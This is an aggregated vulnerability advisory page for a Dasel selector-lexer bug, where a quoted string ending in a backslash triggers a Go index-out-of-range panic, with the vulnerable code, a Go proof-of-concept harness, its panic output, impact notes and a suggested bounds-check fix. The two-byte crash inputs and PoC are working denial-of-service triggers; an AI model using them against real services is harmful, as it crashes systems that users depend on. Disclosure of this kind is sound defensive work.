Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string

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Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the escape sequence handler in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go increments past a trailing backslash in a quoted string such as "\ or '\ and then reads p.src[pos] without a bounds check, allowing attacker-controlled selector strings to trigger a Go index-out-of-range panic. This issue is fixed in version 3.10.1.

Source published

16 Jul 2026 17:57:16 UTC

Source modified

16 Jul 2026 18:21:45 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 6.2 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the escape sequence handler in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go increments past a trailing backslash in a quoted string such as "\ or '\ and then reads p.src[pos] without a bounds check, allowing attacker-controlled selector strings to trigger a Go index-out-of-range panic. This issue is fixed in version 3.10.1.

Source published

16 Jul 2026 19:16:46 UTC

Source modified

24 Oct 2026 20:10:00 UTC

Observed here

25 Oct 2026 12:17:14 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.2 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary `dasel`'s selector lexer panics with an index-out-of-range error when tokenizing a quoted string that ends with a trailing backslash (e.g., `"\` or `'\`). A 2-byte input causes an immediate process crash via Go runtime panic. I confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet. ### Details The bug is in the escape sequence handler within `(*Tokenizer).parseCurRune` in [`selector/lexer/tokenize.go#L191-L194`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L191-L194): ```go if p.src[pos] == '\\' { pos++ buf = append(buf, rune(p.src[pos])) // line 193: no bounds check pos++ continue } ``` When a backslash is the last character inside quotes, `pos++` increments the position past the end of the input. The subsequent `p.src[pos]` attempts to read past the end of the slice, which Go turns into a runtime panic: `runtime error: index out of range [2] with length 2`. Notably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the escape sequence path does not perform a similar bounds check. Minimal trigger: `"\` or `'\` (2 bytes) Test environment: - MacBook Air (Apple M2), macOS / Darwin `arm64` - Go `1.26.1` - dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) ### PoC ```go package main import ( "fmt" "runtime" "runtime/debug" "github.com/tomwright/dasel/v3/selector/lexer" ) func main() { fmt.Printf("Go version: %s\n", runtime.Version()) fmt.Printf("GOARCH: %s\n", runtime.GOARCH) fmt.Println() for _, input := range []string{`"\`, `'\`} { fmt.Printf("Input: %s\n", input) func() { defer func() { if r := recover(); r != nil { fmt.Printf("PANIC: %v\n", r) debug.PrintStack() } }() t := lexer.NewTokenizer(input) tokens, err := t.Tokenize() if err != nil { fmt.Printf("Error: %v\n", err) } else { fmt.Printf("OK: %d tokens\n", len(tokens)) } }() fmt.Println() } } ``` Observed output on `v3.3.1` in the test environment above: ```text Go version: go1.26.1 GOARCH: arm64 Input: "\ PANIC: runtime error: index out of range [2] with length 2 goroutine 1 [running]: ... github.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...) .../selector/lexer/tokenize.go:193 +0x1c2c ... Input: '\ PANIC: runtime error: index out of range [2] with length 2 goroutine 1 [running]: ... github.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...) .../selector/lexer/tokenize.go:193 +0x1c2c ... ``` ### Impact An attacker who can control or influence the selector/query string passed to dasel can trigger a Go runtime panic and crash the process unless the caller explicitly recovers from panics. The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced: - Web applications using dasel for dynamic data querying - Applications that construct selectors from user input - Shared tooling environments where selectors are passed as parameters ### Suggested Fix Add a bounds check after incrementing `pos` past the backslash, consistent with the existing `UnexpectedEOFError` handling for unterminated quoted strings: ```go if p.src[pos] == '\\' { pos++ if pos >= p.srcLen { return Token{}, &UnexpectedEOFError{Pos: pos} } buf = append(buf, rune(p.src[pos])) pos++ continue } ```

Source published

19 May 2026 20:08:12 UTC

Source modified

10 Sep 2026 03:51:06 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string in github.com/tomwright/dasel

Source published

25 Jun 2026 22:34:31 UTC

Source modified

25 Jun 2026 23:01:18 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.